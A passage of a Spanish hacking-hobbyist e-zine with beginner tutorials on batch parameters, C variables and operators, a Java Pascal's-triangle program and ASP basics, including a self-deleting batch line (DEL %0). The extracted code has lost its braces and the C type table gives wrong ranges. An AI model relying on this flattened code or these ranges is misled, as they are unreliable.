A continuación pondremos otro ejemplo de uso del parámetro %0 en un programa. En muchas ocasiones, podemos querer que el programa que se está ejecutando se autodestruya, se “auto-delete”. Bien, si sabemos que el .bat se está ejecutando en el escritorio podríamos indicar el archivo a eliminar. Pero si no sabemos donde se ejecuta el .bat no podemos definir una ruta específica, por eso usaremos el parámetro %0:

@ECHO OFF DEL %0 EXIT Ahora si que deberíamos tener muy clara la

utilización del parámetro %0. Vamos a manejarnos ahora con el resto de los parámetros:

El comando %0 no complementa la llamada a un archivo .bat o a una etiqueta, mientras que el resto de parámetros si lo hacen. Vamos a ver un claro ejemplo. Usaremos el parámetro %1, para referirnos al primer parámetro que complementa la llamada a un archivo .bat. Para entenderlo vamos a analizar el siguiente código:

@ECHO OFF MSG * %1 %2 %3 EXIT Si ejecutas el .bat directamente se abrirá la cmd

para preguntarte que mensaje quieres enviar, a que es debido esto? Pues bien, con el comando MSG * indicamos que queríamos mandar el mensaje “%1 %2 %3” pero esos parámetros no tienen ningún valor

Page 36: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Manual Batch CUH e-zine 3ª Edicion por lo tanto es como si le pedimos que nos haga un “MSG * “ sin mensaje. En este caso, daremos un valor a los parámetros en al llamada al archivo .bat. Guardemos este ultimo archivo en la unidad c:\ y llámenlo “prueba.bat”.

Ahora vayan a INICIO-EJECUTAR y escriban: c:\prueba.bat weeee!!!!!

Se abrirá el programa y nos escribirá un msgbox en pantalla con el mensaje que le indicamos. Este mensaje lo ha tomado como el parámetro %1.

Repite lo mismo pero esta vez: c:\prueba.bat hola como estas

El resultado es el esperado. El archivo tomo los parámetros %1, %2, %3 como argumentos en la llamada a si mismo. Entonces:

Hola=%1 Como=%2 Estas=%3

De este modo también podemos usar sentencias “IF” para saber si el archivo que se esté ejecutando se le han pasado parámetros. Por ejemplo:

If “%1”==”” (ECHO NO SE LE PASARON

ARGUMENTOS A LA LLAMADA) Tengan imaginación, con práctica se darán cuenta

d más funcionalidades de estos parámetros. Para continuar, aclararemos el uso de parámetros

en las etiquetas. Sabemos que una etiqueta puede ser llamada por GOTO o por CALL. Bien, solo las etiquetas que se llamen con el comando CALL pueden tener acceso a los parámetros. Ambos comandos tienen una función muy parecida pero cada uno tiene sus posibilidades. Pueden informarse en cmd: GOTO /? CALL /?

Para pasarle comandos a una etiqueta, lo haremos de este modo:

CALL :etiqueta PARAMETRO1 PARAMETRO2

PARAMETRO3 PARAMETRO4… Y podremos referirnos a estos parámetros con la

nomenclatura estándar: %n. Pongamos un ejemplo. Queremos que nos muestre el texto que aparece en un archivo .txt. Para hacer que este ejemplo se entienda, haremos que el .txt se llame fecha y se guarde en la unidad c: Este archivo contendrá la facha e lo que haremos es llamar a una etiqueta y que esta nos diga el contenido del archivo. Esto se podría hacer de una manera muy sencilla: echo %date%. Pero usaremos este ejemplo para que se pueda ver correctamente el uso de parámetros en la llamada a etiquetas:

@ECHO OFF ECHO %date%>c:\prueba.txt FOR /F %%A IN (c:\prueba.txt) DO CALL

:DECIRFECHA %%A :DECIRFECHA SET PARAMETRO_FECHA=%1 MSG * %1 MSG * %PARAMETRO_FECHA% EXIT

Bien, escribimos la fecha en el archivo prueba.txt. Uamos sfor, para coseguir el contenido de dicho archivo y llamamos a la etiqueta con el parámetro %%a (%%a es la variable que usamos en el for para almacenar el contenido del archivo prueba.txt). Nos dirigimos a la etiqueta y declaramos una variable llamada PARAMETRO_FECHA, que contiene el contenido del parámetro (%1). De este modo demostramos que pdoemo ddeclarar variables que tengan el contenido de un parámetro o referirnos al parámetro directamente con su nomenclatura habitual (%n).Otro ejemplo más sencillo:

@ECHO OFF CALL :ETIQUETA HOLA ADIOS :ETIQUETA SET A=%1 SET B=%2 ECHO SALUDOS: %A% %B% && PAUSE && EXIT Acabaré con un último aporte de mi amigo /Migue

que hizo en su momento cuando publiqué un manual muy parecido en Internet. Es el uso del comando SHIFT que nos permitirá poder acceder a parámetros mayores a %9:

La declaración de argumentos de un programa admite en principio la cantidad de parámetros que sean necesarios. Pero en cambio el lenguaje batch de windows nt tan solo puede reconocer los 9 primeros argumentos del programa, es decir, no será valido un acceso a la variable %10 con complejidad constante ya que no hay un puntero directo al argumento. Como acceder a variables superiores a %9? Pues bien, es sencillo. Se usa el mandato SHIFT, el cual desplaza una posición a la izquierda todos los argumentos introducidos. Es decir: %0 <- %1 <- ... %9 <- %10 ... Con lo cual se pierde el antiguo %0 y a menos que se haya salvaguardado en otra variable, no podrá ser recuperado. De esta forma ya es visible el argumento 10 y como podéis observar, su acceso se realiza en complejidad O(n), siendo n el numero de argumentos actuales. y la complejidad, la misma que la de la operación SHIFT.

Sin duda alguna, el manejo de parámetros en Batch nos ayudará a realizar trabajos mejor elaborados, códigos más limpios y ampliar sus funcionalidades. Espero que lo hayan entendido todo y gracias por su tiempo. Bytes, Espectro Infernal.

Page 37: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Programar Con C CUH e-zine 3ª Edicion

PROGRAMACION C II PARTE By Ni0

INTRODUCCION AL ASM II Hola a todos de nuevo, soy Ni0, y esta es la segunda parte del tutorial

del lenguaje de programación C. -En el artículo anterior, me confundí en una cosa y me falto aclarar otra, en la que me confundí. Yo hablaba de los caracteres de escape y los enumeraba, hay uno que pones el valor de la letra (haciendo \nnn donde n es un valor entre el 0 y el 255, ejemplo: \32) y que había otra para expresarlo en hexadecimal, en esa me confundí, yo había puesto que era \hnn pero no es así, se hace así: \xnn, o sea, en vez de la “h” va una “x” y después el valor en hexadecimal, ejemplo: \x3A (va desde 0 a FF). Y me falto aclarar algo, yo dije que los caracteres se pueden expresar entre apóstrofes o bien entre comillas, y que las cadenas solo entre comillas, eso esta bien, pero para el programa no es lo mismo ‘a’ que “a” , ya que aunque veamos una letra, es diferente la forma en que se interpreta (ya veremos mas adelante sobre eso cuando hablemos de arreglos, vectores), y a causa de que no explique eso, tengo que aclarar que la función printf espera una cadena en su primer argumento, entonces si solo queremos poner un carácter, no hay que ponerlo entre apóstrofes sino entre comillas (ya dije hace poco que aunque sea un solo carácter en ambos casos, es diferente internamente). -Ahora que ya aclaré lo que tenía que aclarar seguimos con el artículo. Nuestro programa por ahora no hace mucho, solo muestra una cadena, así que ahora vamos a hacer un programa más interesante, lo que necesitamos es un lugar donde guardar información, como el uso de los archivos lo vamos a dejar para mas adelante, vamos a guardarla en la memoria, para esto vamos a usar “variables”, cuando declaramos una variable se le asigna a esta un espacio de la memoria, este espacio varia dependiendo del tipo de variable, estas variables se pueden llamar de la forma que quieran, pero no puede empezar con un numero, no se pueden usar espacios ni tampoco caracteres raros, lo que pueden usar es de la a a la z, de la A a la Z, números y el guión bajo (_), cuando se termina de declarar una variable, se coloca punto y coma (;): int i; int mi_variable; int BolaDeNieve2; int tuto, articulo_2, C;

Estamos declarando variables del tipo int (ya veremos un poquito mas adelante una tabla con el tipo de variables, sus rangos, etc.), declare las 3 primeras deacuerdo a lo que dije antes, fíjense que le pueden llamar como quiera, pero es sensible a mayúsculas y minúsculas, osea, no es lo mismo int I que int i, y en el cuarto ejemplo lo que hago es declarar varias variables del mismo tipo en una sola línea, cada variable esta separada de la otra con una coma (,) y cuando terminamos ponemos punto y coma (;), ese ultimo ejemplo es lo mismo a haber hecho: int tuto; int articulo_2; int C; como dije, pueden ponerle el nombre que quieran, pero se recomienda (creo que es obio) que le pongan un nombre deacuerdo al uso que se le va a dar, por ejemplo, si va a tener la edad del usuario, no la llamen mi_ventilado xD, llámenla edad. Hay 2 lugares donde podemos declarar a la variable, afuera de las funciones (variable global) o dentro de una función (variable local), la diferencia es que si es global, esa variable va a estar para todas las funciones que declaremos (mas tarde vamos a ver como crear nuestras propias funciones), osea, desde cualquier función podemos acceder a ella directamente (por lo que no se puede declarar otra variable con el mismo nombre en alguna función, ya que estaría repetida); en cambio las locales solo van a estar para la función en donde la declaramos y entonces se puede declarar en otras funciones con el mismo nombre. Como quizá no se entendió acá muestro unos ejemplos: #include <stdio.h> main() int variable_local; /*... acá hacemos lo que queramos ...*/ otro ejemplo: #include <stdio.h> int variable_global; main()

Page 38: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Programar Con C CUH e-zine 3ª Edicion /*... acá hacemos lo que queramos ...*/ y el último: #include <stdio.h> int variable_global; main() int variable_local; /*... acá hacemos lo que queramos ...*/ se darán cuenta que por ahora es lo mismo que sea global o local ya que solo tenemos la función main, pero cuando tengamos mas funciones se va a notar la diferencia. También hay variaciones en los tipos, pueden ser signed (con signo) o unsigned (sin signo). Lo que hay que hacer es poner declararla de esta manera: SIGNEDunsigned TIPO NONBRE; ejemplo: unsigned int pepito; por defecto, las variables son signed, osea, pueden ser positivas o negativas, por lo que es innecesario aclarar que son signed. Ahora que más o menos sabemos de variables les pongo una tabla con todos los tipos que hay, su característica, etc. Tipo Byte

s

Nombre Rango de valores

int * entero simple Depende del sistemaunsigned int

* entero simple sin signo

Depende del sistema

char 1 entero tipo char

-128 a 128

unsigned char

1 entero tipo char sin signo

0 a 255

short 2 entero corto -32.768 a 32.767unsigned short

2 entero corto sin signo

0 a 65.535

long 4 entero largo -2.147.483.548 a 2.147.483.547

unsigned long

4 entero largo sin signo

0 a 4.294.967.295

float 4 real simple precisión

3.4E ± 38 (7 dígitos)ejemplo 183,403

double 8 real doble precisión

1.7E ± 308 (15 dígitos) ejemplo 1.375,93071584

long double

10 real doble largo

1.2E ± 4932 (19 dígitos) ejemplo 34145,14631345673

Algo a tener en cuenta, cuando queremos poner un número con decimales, hay que usar el punto (.) y no la coma, y no hay que separar los miles, por ejemplo: 1.290.214 MAL 1290214 BIEN 123.124532 BIEN (en este caso 124532 serian decimales) 123,124532 MAL Cada variable tiene una longitud, por lo que hay variables que ocupan mas espacio que otras, por lo que si necesitan guardar la edad de alguien, no declaren un long double xD. El tipo char es útil para caracteres, los caracteres van del 0 al 255 (espero no confundirme con lo que estoy diciendo) y el carácter z es el 122 (si mal no recuerdo) después de la z vienen caracteres que no son ni letras ni números, por lo que el valor de la letra se puede almacenar en el tipo char, pero es mejor que se use unsigned char, ya que así tenemos capacidad para todos los caracteres (recuerden que char va de –128 a 127 y unsigned char de 0 a 255). Para usar números decimales, están los tipos float y double, asique cuando tenga decimales declaren float o double (o long double si es muy grande el numero). Bien, espero que hayan entendido sobre las variables, lo que les voy a mostrar ahora es como “jugar” con las variables, osea, asignarles un valor, sumar, restar, y mas. Hay operadores de suma, resta, división, multiplicación, y mas, cuando se termina de hacer toda la operación hay que poner punto y coma (;), el que asigna un valor a una variable es el =, le va a asignar lo de lo de la derecha a la variable de la izquierda, por ejemplo si declaramos char c podemos hacer c = ‘a’; o bien, c = 97; darían el mismo resultado, ya que al hacer ‘a’ lo que hace el compilador es cambiar esa letra por el valor que le corresponde. Es ilegal hacer algo como 2 = 100; ya que 2 es una constante y no se le puede asignar un valor a una constante xD. Ahora una tabla con los operadores:

+ suma - resta * multiplica / divide % saca el resto & operador AND| operador OR ^ operador XOR>> desplazamiento a

la derecha << desplazamiento a

la izquierda no hay uno para potencia, para eso hay una función (algún día se las mostrare xD) el de sacar resto lo que hace es devolver el resto de

Page 39: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Programar Con C CUH e-zine 3ª Edicion una división, osea, si hacemos 5 % 2 daría 1, si hacemos 4 % 2 daría 0. Seguramente no saben que es AND, OR y XOR, como yo en el momento que lo leí, asique voy a tratar de explicarles: los operadores AND, OR, XOR y los de desplazamiento son operadores bit a bit, osea, trabajan bit a bit, el de AND lo que hace es como si fuera una multiplicación bit a bit, en realidad lo que hace es, si son 0 en los 2 resultados deja 0, si es 1 y en el otro 0 deja 0 y deja 1 si son 1 en los 2, ejemplo: 10010111 & 00011100: (números en binario obviamente) 10010111 AND 00011100 -------- 00010100 <-- resultado yo para acordarme es como que multiplica, ya que como solo un bit puede ser 1 o 0, cualquier multiplicación por 0 da 0, asique la única manera de que deje 1 es cuando es 1 en los 2 números. el OR es una suma bit a bit, en realidad va a dejar siempre 1 excepto que sea 0 en los 2 números, pero yo lo tomo como una suma, cuando es 1 y 1 daría 2 la suma xD, pero yo me acuerdo y se que va a dar 1, ejemplo: 10010111 | 00011100: (números en binario obviamente) 10010111 OR 00011100 -------- 10011111 <-- resultado al XOR no le encontré una operación matemática xD, lo que hace es dejar 0 si es el mismo número en los 2 lados y 1 si es diferente, si hacemos 2 ^ 2 (en decimal) nos quedaría 0, ya que es como hacer: 10 XOR 10 -- 00 otro ejemplo: 10010111 | 00011100: (números en binario obviamente) 10010111 XOR 00011100 -------- 10001011 <-- resultado los de desplazamiento desplazan una cantidad de bits a la derecha o a la izquierda, por ejemplo 2 << 3 nos daría:

2 = 10 ==> 10000 se llena con ceros, se desplazo 3 lugares y se llena con 0, y el otro es lo mismo: 5 >> 2 nos daría: 5 = 101 ==> 1 porque sacamos los 2 bits. hay que aclarar una cosa, si hacemos una operación que da como resultado 0.5 (por ejemplo 1 / 2) y se lo asignamos a un tipo int, solo va a aceptar el entero, osea, el 0, por lo que quedaría 0, si hiciéramos algo que nos de 3.2 y se lo asignamos a int (o bien a un char, osea, cualquiera que no sea no float ni double) le va a asignar 3. ejemplos de operaciones (obviamente van en una función, solo que para ahorrar espacio solo pongo lo interesante): int i; float asd; i = 2; i = i / 2; /*como al hacer i / 2 no se le asigna a ninguna variable el resultado, hay que hacer i = i / 2 para indicar que se divida por 2 a i y que se le asigne a i ese resultado*/ f = (123.5003 + 100) * 4;/*como * en matemática tiene mas “poder” usamos los paréntesis para que ejecute primero la suma y después la multiplicación*/ Como dije, después de hacer toda la operación hay que poner ; para indicar que hasta ahí es la operación. Para indicar que el numero que estamos escribiendo esta en sistema hexadecimal, hay que poner 0x (cero y la letra equis) antes del numero, ejemplo 0x4F, 0x10, 0xFF... Ahora que sabemos sobre los operadores vamos a hacer un programita que juege con ellos, antes voy a aclarar que la función printf acepta muchos argumentos, desde 1 hasta infinito (no hasta infinito, seguro que hay un tope), esta es una de las pocas que acepta esto (solo conozco 6 que aceptan esto), las otras funciones tienen argumentos fijos, osea, si requiere 3 argumentos hay que poner los 3, ni uno mas ni uno menos. En la cadena que le introducimos en el primer argumento podemos ponerle algunas cosas (no se como llamarlas xD) que serán cambiadas por los argumentos siguientes, estas “cosas” son: %d un numero entero %f un numero flotante (sirve tanto para float

como double) %c un carácter%s Una cadena %x - % X

Un numero en sistema hexadecimal (si se pone %x las letras las pone en minúsculas y si se pone %X las letras en mayúscula

%% pone el símbolo % (esto no lo cambia por

Page 40: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Programar Con C CUH e-zine 3ª Edicion nada, esto existe porque sino si queremos poner por ejemplo 10%de interés, daría cualquier cosa, entonces ponemos 10%%de interés)

creo que no hay más, lo que hay que hacer es escribir eso en medio de la cadena y luego agregarle argumentos, estos se van a mostrar en orden, como se que no se entendió, acá un ejemplo: #include <stdio.h> main()

printf(“el carácter %c equivale al numero %d\n\ncadena=%s\nflotante = %f”, ‘b’, ‘b’, “esto es una cadena”, 123.435); getchar();

como dije en el primer artículo, los espacios y la nueva línea no afecta, seguro que la función printf la van a ver en varios renglones, eso no importa, pero si hay un inconveniente, una cadena no se puede escribir así: “asd asd” si una cadena la van a escribir en varios renglones (eso no significa que se va a mostrar en varios renglones, para eso se utiliza el carácter de escape \n) hay que hacer así: “asd” “asd” que seria lo mismo que hacer “asdasd”, para poner un espacio hacen: “asd” “ asd” esto lo digo para que lo sepan y porque estoy seguro que en el PDF se va a ver en varios renglones y sin seguir esta regla, esto es porque en donde lo estoy escribiendo lo veo bien xD, pero cuando se pase quizás se vea mal, entonces si se ve “.... ....” esta mal, ustedes lo tienen que hacer todo seguido o bien, como explique arriba. bueh, volviendo a la función printf, los argumentos van a mostrarse en orden, lo que indica %d o %c es como se muestra, yo en el ejemplo puse en los 2 primeros “segundos” argumentos un carácter, pero en la cadena del primer argumento puse primero %c y después %d, como ‘b’ va a devolver un numero, con el %c la función va a escribir el carácter correspondiente a ese numero, y con %d va a escribir ese numero, y después lo demás esta claro, creo. Si usáramos variables podríamos hacer lo mismo pero en vez de poner, por ejemplo ‘b’ podríamos el nombre de la variable donde este ese valor y daría el mismo resultado (por ahora el de la cadena no lo pueden hacer con variables) hay unas cosas que podemos cambiar, por ejemplo poniendo %3d mostraría solo 3 dígitos del numero,

en %f podemos decirle cuantos decimales poner, si ponemos %.2f mostraría solo 2 decimales, si ponemos %2.f mostraría solo 2 de los enteros y todos los decimales, y si hacemos %2.2f mostraría 2 del entero y 2 decimales, y lo mismo para la cadena, mostraría solo 2 caracteres o el número que pongan. Vamos a hacer un programa un poco más interesante usando lo que aprendimos: #include <stdio.h> int g; main() /*acá estaría MAL hacer algo como char g o int g, ya que ya esta declarada la g*/ unsigned char c; float f; int i; /*obviamente los pueden llamar como quieran*/ c = ‘a’ – 10 + 5; f = 0.33333; i = c + f; /*como f no va a modificar nada ya que el resultado que de va a dar algo como xxx.33333 como i es int solo se va a asignar xxx, pero lo hago para que vean ejemplos*/ g = (c & i) * 2; f = f + 11.1; printf(“\t%s: g = %d, c = %c (%d), f = %.2f, i = %d\n”, “los valores por ahora son”, g, c, c, f, i); /*acá lo mismo que dije antes, si se ve en vario renglones...*/ printf(“sumando todos los valores %.2f”, g + c + f + i); getchar();

en el ultimo printf sumo todos los valores y muestro ese resultado sin asignárselo a ninguna variable, el propósito de este programa es para que vean como funciona printf (espero que hayan entendido) y como operar con las variables, por si no lo recuerdan, el carácter \t es el tabulador y lo que este entre /* */ es un comentario y no es tomado en cuenta por el compilador. Espero que hayan entendido algo sobre las variables, como operar con ellas y como usar printf. Esto es todo por este articulo, me quede sin hojas xD, en el próximo vamos a ver un poco mas sobre como operar con las variables y como obtener datos del teclado y operadores de flujo. Nos vemos en el próximo artículo.salu2!

Ni0

Page 41: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Triangulo de Pascal CUH e-zine 3ª Edicion

TRIANGULO DE PASCAL By Varios

TRIANGULO DE PASCAL EN JAVA Para el que no sepa el triangulo de Pascal se usa para encontrar los coeficientes numericos en una formula de binomios ,

Para el que no sepa el triangulo de Pascal se usa para encontrar los coeficientes numericos en una formula de binomios , un ejemplo de esto seria:

2 2 2 (a+b) = a + 2ab+ b Con el triangulo de Pascal podemos encontrar los coeficientes que multiplican a cada valor en la formula en este caso serian:

2 2 1,2,1 porque 1a+ 2ab + 1b .

Los valores que se usan del triangulo son los de la ultima linea ya que se van imprimiendo todos los valores desde el exponente = 0 hasta el exponente = n ; donde n va a ser igual al exponente que deseen. Aqui les dejo el code y cualquier aclaracion con respecto al codigo no dude en postear:

Código:

import java.io.*; // sirve para entrada de datos, es como el <stdio.h> de C

class TrianguloPascal

public static BufferedReader entrada=new BufferedReader(new InputStreamReader(System.in));

public static void main(String arg[])throws IOException

Repetir();

public static void Repetir()throws IOException

System.out.print("\n\nIngrese el exponente del binomio para generar coeficientes: ");

int exponente = Integer.parseInt(entrada.readLine());

ImprimeTrianguloPascal(exponente);

public static void ImprimeTrianguloPascal(int exponente)throws IOException

int indice = 0,contador;

// Mostramos el primer 1 del triágulo

for(int i=0; i<=exponente+1;i++)

System.out.print(" ");

Page 42: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Triangulo de Pascal CUH e-zine 3ª Edicion System.out.println(1);

// Generamos el triángulo de Pascal

while(indice<exponente)

contador = indice+1;

for(int i=0; i<=exponente-indice;i++)

System.out.print(" ");

for(int i=0; i<=contador;i++)

combinatoria(contador,i);

System.out.println("");

indice++;

System.out.print("\nDesea continuar[s/n]: ");

String cont = entrada.readLine();

cont = cont.toLowerCase();

if (cont.equals("s"))

Repetir();

else

System.exit(1);

public static void combinatoria(int exponente, int k)throws IOException

int combinatoria;

combinatoria = factorial(exponente)/(factorial(k)*factorial(exponente-k));

System.out.print(combinatoria+" ");

public static int factorial(int exponente)throws IOException

int factorial = 1 ;

if(exponente != 0)

for(int i=1; i<=exponente; i++)

factorial = factorial*i;

return factorial;

POR: P3ll3

Blaise Pascal

Nacido en Clermont (Francia), quedó huérfano de madre a los 3 años. En 1632 se trasladó a vivir a París. El padre de Pascal tenía unas opiniones poco ortodoxas sobre la educación, por lo que él se dedicaba a enseñar a su propio hijo. Unas de dichas

opiniones era que Pascal no debía estudiar matemáticas, pero esto produjo en Pascal curiosidad que le llevó a estudiarlas a espaldas de su padre.

En 1639 la familia Pascal se trasladó a vivir a Rouen, donde habían destinado al padre como recaudador de impuestos.

Para ayudar a su padre en su trabajo, Pascal inventó uno calculadora mecánica. Trabajó varios años en este proyecto hasta perfeccionarla, a la máquina se la conoció como la Pascalina.

Se construyeron y comercializaron varios ejemplares de la máquina que estaba pensada para cálculos con la moneda francesa. Esto hace que Pascal fuera la segunda persona tras Schickard en inventar una calculadora mecánica.

"Si Dios no existe, uno no perderá nada creyendo en él, mientras que si él existe, uno perderá todo por no creer".

Blaise Pascal

Page 43: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Programar en ASP CUH e-zine 3ª Edicion

PROGRAMAR EN ASP By rOnNydInHo

APRENDIENDO A PROGRAMAR EN ASP

Hola amigos de el-hacker.com, este manual que verán a continuación es el inicio de una serie de manuales acerca de cómo programar en ASP,

esperamos que le sea de su agrado. Contiene los primeros pasos del ASP, así

como su correcta escritura y demás. Poco a poco se irá aumentando su nivel de dificultad.

NOTA: Puede verificar más abajo las otras entregas de este manaul en futuras ediciones de la revista CUH-Ezine. Un saludo y que lo disfruten.

¿Qué es el ASP?

Un poco de retórica. Aquí comienza la parte más complicada del diseño de páginas web. Es muy conveniente que, si vas a programar páginas ASP, tengas algunos conocimientos previos de programación, preferiblemente en programación orientada a objetos (por ejemplo Access Basic o Visual Basic). También es recomendable que, aunque no vayas a utilizarlo, leas el tema de aplicaciones con el IDC, ya que los principios básicos de conexión y conceptos generales son válidos para el ASP.

Si no sabes nada de programación, plantéate si con el IDC puedes resolver tu problema; y si el IDC no es suficiente, prepárate para adentrarte en un tortuoso laberinto del que no siempre se puede salir. La complejidad de estas técnicas es bastante alta, y a los problemas que te van a surgir en la escritura del código ASP, hay que sumarle los que te pueda presentar la correcta configuración del IIS y su administración.

Introducción al ASP. Suponiendo que ya has leido la introducción a las aplicaciones en internet, puede definirse el ASP (Active Server Pages, o lo que es lo mismo: páginas activas en el servidor) como un "modo" de escribir aplicaciones de internet, y que, al igual que ocurre con las escritas para el IDC, se ejecutan en el servidor, enviando a los clientes HTML estándard.

Dicho así te preguntarás donde está la diferencia con el IDC. Pues la diferencia estriba en que el IDC dispone de instrucciones muy reducidas: una sencilla toma de decisiones del tipo si/no y poco más, mientras que ASP pone a disposición del programador todos los recursos de varios lenguajes de secuencias de comandos: el Visual Basic Script (en lo sucesivo VBScript), que es una variante del potente Visual Basic, JavaScript, Perl y otros, incluso mezclados dentro del mismo programa. Sólo hay que cargar el motor de comandos correspondiente en el IIS, y configurarlo correctamente. Y por supuesto, el HTML también está presente. El resultado de esta mezcla de lenguajes, junto con algunas prestaciones añadidas al IIS, es lo que genéricamente se conoce como ASP, que como puedes ver, en realidad no es un lenguaje, sino una forma de construir programas utilizando uno o varios lenguajes (en versión script) junto con el HTML, que sigue siendo imprescindible, ya que es el único que entienden los navegadores. En máquinas con sistema operativo UNIX o LINUX el equivalente al ASP es el JSP o el PHP, aunque también existen versiones para Windows de éstos, pero no son nativos.

No tiene mucho sentido utilizar ASP para escribir páginas de contenido estático, aunque se puede hacer. La verdadera utilidad se descubre cuando tenemos que construir aplicaciones complejas, como dialogar con una base de datos: en ese trabajo, ASP se muestra capaz de resolver casi cualquier cosa que podamos necesitar de forma rápida y sencilla (hasta donde ello es posible), pudiendo además elegir el lenguaje más apropiado para cada cosa; por ejemplo podremos: avanzar o retroceder registro a registro en una tabla, paginar grupos de registros en una consulta, filtrar cualquier tipo de datos de un formulario, escribir y leer en ficheros externos a la DB, realizar cálculos numéricos con coma flotante, manipular cadenas de texto, generar cualquier tipo de apariencia HTML, añadir, modificar o eliminar registros de una tabla, etc., etc.

Para escribir páginas ASP, solo necesitamos, como viene siendo habitual en esta obra, un sencillo editor de textos como el bloc de notas, aunque en esta ocasión sería preferible contar con un editor algo más avanzado que provea de numeración de líneas, ya que el debugger (programa de depuración de errores) de ASP emite sus mensajes de error indicando el número de línea del programa donde se produce el fallo.

Una página ASP es un fichero de sólo texto que contiene las secuencias de comandos del lenguaje

Page 44: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Programar en ASP CUH e-zine 3ª Edicion elegido, junto con el HTML necesario, y que se guarda con la extensión .asp Al ser llamado por el navegador, el motor ASP del IIS se encarga automáticamente de depurarlo y ejecutarlo como se suele hacer con un programa cualquiera, pero cuya salida siempre será a través del navegador que le invoca. El lenguaje de secuencia de comandos predeterminado del IIS es el VBScript, aunque puede cambiarse.

Hasta aquí la cosa no parece muy complicada, y que todo se va a limitar a usar algunos comandos nuevos, pero es porque todavía no hemos hablado de lo que realmente le da potencia al lenguaje de secuencias de comandos que utilicemos, sea indistintamente VBScript o JavaScript: los objetos y componentes de ASP. En efecto, VBScript o JavaScript no tienen funciones intrínsecas que les permitan acceder a datos, pero sí son capaces de utilizar los objetos y componentes de ASP para este fin.... y con esto comienzan las dificultades de programación. Ya no se trata de utilizar un comando cualquiera y recoger el resultado, el uso de objetos es algo bastante más complicado.... y seguramente ya te estarás preguntando que será eso de "objetos" y "componentes"....

Para definir los objetos haría falta todo un libro, así que nos limitaremos a considerarlos como unos elementos a los que se puede recurrir desde ASP y que nos ahorrarán tener que escribir gran cantidad de código para, por ejemplo, conectar con una base de datos, o leer un fichero cualquiera. Nos limitaremos aquí a saber de qué objetos podemos disponer y para qué sirven. Pero el ASP no funciona sólo con los objetos; tenemos todos los comandos del VBScript, JScript, o Perl que nos permitirán manipular y controlar de mil maneras los datos (siempre en el servidor, recuerda). Pero antes de utilizar todas estas herramientas, veamos en que consiste una página ASP sencilla.

¿Cómo se escribe el ASP?

Una página ASP sencilla Una página ASP se escribe igual que una HTML normal, y es muy parecida a las escritas para el IDC, ya que las secuencias de comandos se escriben entre los símbolos <% y %> pero dando a los ficheros la extensión .asp

<%@ LANGUAGE="VBScript" %> <HTML> <HEAD><TITLE>Prueba de ASP</TITLE></HEAD> <BODY> Bienvenidos al ASP. Son las <% Response.Write( Time() ) %> </BODY> </HTML>

El código de arriba es una sencilla muestra de ASP. Como puedes ver, salvo la primera y la quinta líneas no tiene nada que no conozcamos ya. Analicemos esas dos líneas:

La primera es la definición del lenguaje de comandos que vamos a utilizar, en este caso VBScript; la arroba que hay al principio (@) indica que la página se debe ejecutar en el servidor y no en el navegador, que sólo debe recibir el resultado.

En la quinta línea ya tenemos un objeto (Response -respuesta-) con uno de sus métodos (Write -escribir-). El objeto Response es el que gestiona la salida para el navegador, y su método Write el encargado de escribir esa salida, dicho de otro modo, el conjunto Response.Write() escribirá en la pantalla del cliente el resultado generado por los comandos ASP, en este caso la hora proporcionada por la función Time()

Fíjate en que el valor real de la quinta línea es compuesto: por una parte está la frase "Bienvenidos al ASP. Son las " y por otro una secuencia de comandos que da la hora del servidor. El motor ASP se encargará de ejecutar los comandos y componer el texto final con las dos cosas antes de enviarlas al navegador del cliente.

Response.Write() es muy utilizado en ASP, ya que cualquier variable, valor o cadena de texto tiene que ser visualizada mediante este objeto, para abreviar se puede usar el signo igual (=) con el mismo resultado. En nuestro ejemplo de la quinta línea podría ser:

Bienvenidos al ASP. Son las <% = Time() %>

Response.Write() no sólo muestra el resultado de funciones como Time() (hora), Date() (fecha), o cualquier otra; podemos escribir cualquier valor para que sea visualizado, como cadenas de texto puras, cadenas concatenadas con constantes, funciones anidadas, variables de sesión, variables de aplicación, respuestas de otros objetos, código HTML, etc., etc., y por supuesto, podemos invocar el objeto Response tantas veces como sea necesario.

En el caso de que se quieran presentar dos datos concatenados (enlazados, unidos) en HTML, simplemente escribiríamos uno al lado del otro, pero en ASP hay que echar mano de un carácter especial: el ampersand (&). Así. en el ejemplo, si en lugar de presentar sólo la hora, quisiéramos ver la hora y el dia, habría que escribir:

Bienvenidos al ASP. Son las <% = Time() & " del dia " & Date() %>

Si lo que se trata de concatenar es un string (cadena de texto) que contiene comillas dobles, se puede hacer de dos formas: utilizando la función Chr() o escribiendo dos pares de comillas en lugar de uno. Por ejemplo si queremos concatenar la cadena: Esto es un con la cadena "string" que va entrecomillada, se escribirá:

<% = "Esto es un "& "" string "" %>

O también:

<% = "Esto es un " & Chr(34) & " string " & Chr(34) %>

Page 45: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

